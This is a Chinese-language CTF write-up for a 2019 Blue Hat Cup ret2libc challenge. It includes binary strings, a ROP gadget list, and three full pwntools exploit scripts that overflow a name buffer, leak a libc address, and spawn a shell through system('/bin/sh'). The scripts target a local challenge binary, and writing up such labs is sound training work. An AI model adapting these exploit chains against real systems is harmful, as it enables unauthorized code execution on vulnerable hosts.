2019蓝帽杯

很基础的ret2libc题目


IDA看看





很容易可以发现,getname1函数中存在明显的栈溢出,也能看到,整个题不止这一个漏洞。但是我只会利用getname1这一种。。
我们看一下有没有system函数和它的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
地址    长度    类型    字符串
LOAD:0000000000400238 0000001C C /lib64/ld-linux-x86-64.so.2
LOAD:0000000000400471 0000000A C libc.so.6
LOAD:000000000040047B 00000005 C exit
LOAD:0000000000400480 0000000F C __isoc99_scanf
LOAD:000000000040048F 00000005 C puts
LOAD:0000000000400494 00000006 C stdin
LOAD:000000000040049A 00000007 C printf
LOAD:00000000004004A1 00000007 C strlen
LOAD:00000000004004A8 00000007 C memset
LOAD:00000000004004AF 00000005 C read
LOAD:00000000004004B4 00000007 C stdout
LOAD:00000000004004BB 00000007 C memcpy
LOAD:00000000004004C2 00000007 C malloc
LOAD:00000000004004C9 00000006 C alarm
LOAD:00000000004004CF 00000005 C atoi
LOAD:00000000004004D4 00000008 C setvbuf
LOAD:00000000004004DC 00000007 C strcmp
LOAD:00000000004004E3 00000012 C __libc_start_main
LOAD:00000000004004F5 0000000F C __gmon_start__
LOAD:0000000000400504 0000000A C GLIBC_2.7
LOAD:000000000040050E 0000000B C GLIBC_2.14
LOAD:0000000000400519 0000000C C GLIBC_2.2.5
.rodata:0000000000401238 00000007 C 1. Add
.rodata:000000000040123F 00000008 C 2. Show
.rodata:0000000000401247 00000008 C 3. Edit
.rodata:000000000040124F 00000008 C 4. Exit
.rodata:0000000000401257 00000008 C choice:
.rodata:000000000040125F 0000000B C read error
.rodata:0000000000401270 00000020 C You can't add new page anymore!
.rodata:0000000000401290 00000006 C size:
.rodata:0000000000401296 0000000E C size overflow
.rodata:00000000004012A4 00000007 C index:
.rodata:00000000004012AB 0000000D C out of index
.rodata:00000000004012B8 00000009 C content:
.rodata:00000000004012C1 00000012 C %s invaild index\n
.rodata:00000000004012D3 00000010 C what's you name
.rodata:00000000004012E3 00000007 C qwerty
.rodata:00000000004012EA 00000010 C many vul, enjoy
.rodata:00000000004012FA 00000012 C 1. name challenge
.rodata:000000000040130C 00000009 C 2. party
.rodata:0000000000401315 0000000C C 3. old heap
.rodata:0000000000401321 00000007 C 1. reg
.rodata:0000000000401328 0000000E C 2. goto party
.rodata:0000000000401336 0000000E C input choice:
.rodata:0000000000401344 00000010 C input your name
.rodata:0000000000401358 0000002F C Let's start a game, can you guess the keyword?
.rodata:0000000000401387 0000000A C good boy\n
.rodata:0000000000401391 00000005 C fail
.rodata:0000000000401398 0000002D C Thanks you for coming.leave me some message>
.rodata:00000000004013C8 00000026 C Let me introduce some friends for you
.rodata:00000000004013EE 00000015 C give me a number 1-5
.rodata:0000000000401406 00000012 C What's your name?
.rodata:0000000000401418 00000011 C register success
.rodata:0000000000401429 00000008 C bye bye
.rodata:0000000000401435 0000000F C invalid choice
.eh_frame:0000000000401567 00000006 C ;*3$\"

两个东西都没有。那联想到是不是要泄露libc,就像不久前做的LEVEL3一样。
首先要泄露puts的真实地址,然后与libc中puts的地址相减计算出偏移,再用libc中system的地址加上偏移,从而得出system函数的真实地址进行调用,”/bin/sh”的地址同理,又因为是64位程序,需要用寄存器传参,所以我们需要找一个合适的gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ ROPgadget --binary pwn1 --only "pop|ret"
Gadgets information
============================================================
0x000000000040120c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040120e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401210 : pop r14 ; pop r15 ; ret
0x0000000000401212 : pop r15 ; ret
0x000000000040120b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040120f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004008b0 : pop rbp ; ret
0x0000000000400fd2 : pop rbx ; pop rbp ; ret
0x0000000000401213 : pop rdi ; ret
0x0000000000401211 : pop rsi ; pop r15 ; ret
0x000000000040120d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400741 : ret
0x0000000000400afd : ret 0x458b
0x0000000000400f42 : ret 0x6348
0x00000000004015ad : ret 0x70c
0x00000000004009a1 : ret 0x8348
0x0000000000400de1 : ret 0x8b48
0x0000000000400a2d : ret 0xb60f
0x00000000004009ac : ret 0xbb41
0x000000000040119a : ret 0xfff5
0x000000000040115a : ret 0xfff6

选择pop rdi ; ret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
exp:  
# -*- coding: utf-8 -*-
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
p=process('./pwn1')
elf=ELF('./pwn1')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi_ret = 0x0000000000401213

#payload1 = "a"*0x28 + p64(pop_rdi_ret) + p64(elf.got['__libc_start_main']) +p64(elf.plt['puts']) + p64(elf.symbols['main'])
payload1 = "a"* 0x20 + "b"*8 + p64(pop_rdi_ret) + p64(elf.got['puts']) +p64(elf.plt['puts']) + p64(elf.symbols['main'])
p.recvuntil("choice:\n")
p.sendline("1")
p.recvuntil("name\n")
p.sendline("a")
p.recvuntil("keyword?\n")
p.send(payload1)
p.recvuntil("fail\n")

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print "puts_addr:" + hex(puts_addr)
offset = puts_addr - libc.symbols['puts']
sys_addr = offset + libc.symbols['system']
print "sys_addr:" + hex(sys_addr)
binsh_addr = libc.search('/bin/sh').next() + offset
print "binsh_addr:" + hex(binsh_addr)

payload2 = "a" * 0x20 + "b" * 8 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)

p.recvuntil("choice:\n")
p.sendline("1")
p.recvuntil("name\n")
p.sendline("a")
p.recvuntil("keyword?\n")
p.send(payload2)
p.interactive()

再贴一个用了LibcSearcher的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'

p=process('./pwn1')
elf=ELF('./pwn1')

pop_rdi_ret = 0x0000000000401213

payload1 = "a"* 0x20 + "b"*8 + p64(pop_rdi_ret) + p64(elf.got['puts']) +p64(elf.plt['puts']) + p64(elf.symbols['main'])
p.recvuntil("choice:\n")
p.sendline("1")
p.recvuntil("name\n")
p.sendline("a")
p.recvuntil("keyword?\n")
p.send(payload1)
p.recvuntil("fail\n")

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print "puts_addr:" + hex(puts_addr)

libc = LibcSearcher('puts',puts_addr)
offset = puts_addr - libc.dump('puts')
sys_addr = offset + libc.dump('system')
print "sys_addr:" + hex(sys_addr)
binsh_addr = offset + libc.dump('str_bin_sh')
print "binsh_addr:" + hex(binsh_addr)

payload2 = "a" * 0x20 + "b" * 8 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(sys_addr)

p.recvuntil("choice:\n")
p.sendline("1")
p.recvuntil("name\n")
p.sendline("a")
p.recvuntil("keyword?\n")
p.send(payload2)
p.interactive()

末尾贴一个南梦师傅的exp(咲夜南梦NB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn1")
sh = 0
lib = 0
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./pwn1")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
pop_rdi_ret = 0x0000000000401213
pop_rsi_r15_ret = 0x0000000000401211
sh.recvuntil(":")
sh.sendline("2")
sh.recvuntil(":")
sh.sendline("2")
sh.recvuntil(">")
offset = 56
payload = offset * "a"
payload += p64(0x400DFD)
sh.sendline(payload)
sh.recvuntil("1-5")
#0x400F26
sh.sendline("1")
sh.recvuntil("name")
sh.sendline("a" * 0x17)
sh.recvuntil("?")
offset = 0x28
#0x400E9E
payload = offset * "a"
payload += p64(pop_rdi_ret)
payload += p64(elf.got['__libc_start_main'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['_start'])
sh.sendline(payload)
__libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
libc = __libc_start_main - lib.symbols['__libc_start_main']
binsh = libc + lib.search("/bin/sh\x00").next()
system = libc + lib.symbols['system']

sh.recvuntil(":")
sh.sendline("2")
sh.recvuntil(":")
sh.sendline("2")
sh.recvuntil(">")
offset = 56
payload = offset * "a"
payload += p64(0x400DFD)
sh.sendline(payload)
sh.recvuntil("1-5")
#0x400F26
sh.sendline("1")
sh.recvuntil("name")
sh.sendline("a" * 0x17)
sh.recvuntil("?")
offset = 0x28
#0x400E9E
payload = offset * "a"
payload += p64(pop_rdi_ret)
payload += p64(binsh)
payload += p64(system)
sh.sendline(payload)
log.success("__libc_start_main: " + hex(__libc_start_main))
log.success("binsh: " + hex(binsh))
log.success("system: " + hex(system))
sh.interactive()
if __name__ == "__main__":
pwn("127.0.0.1",9999,1)
您的鼓励将支持我继续努力!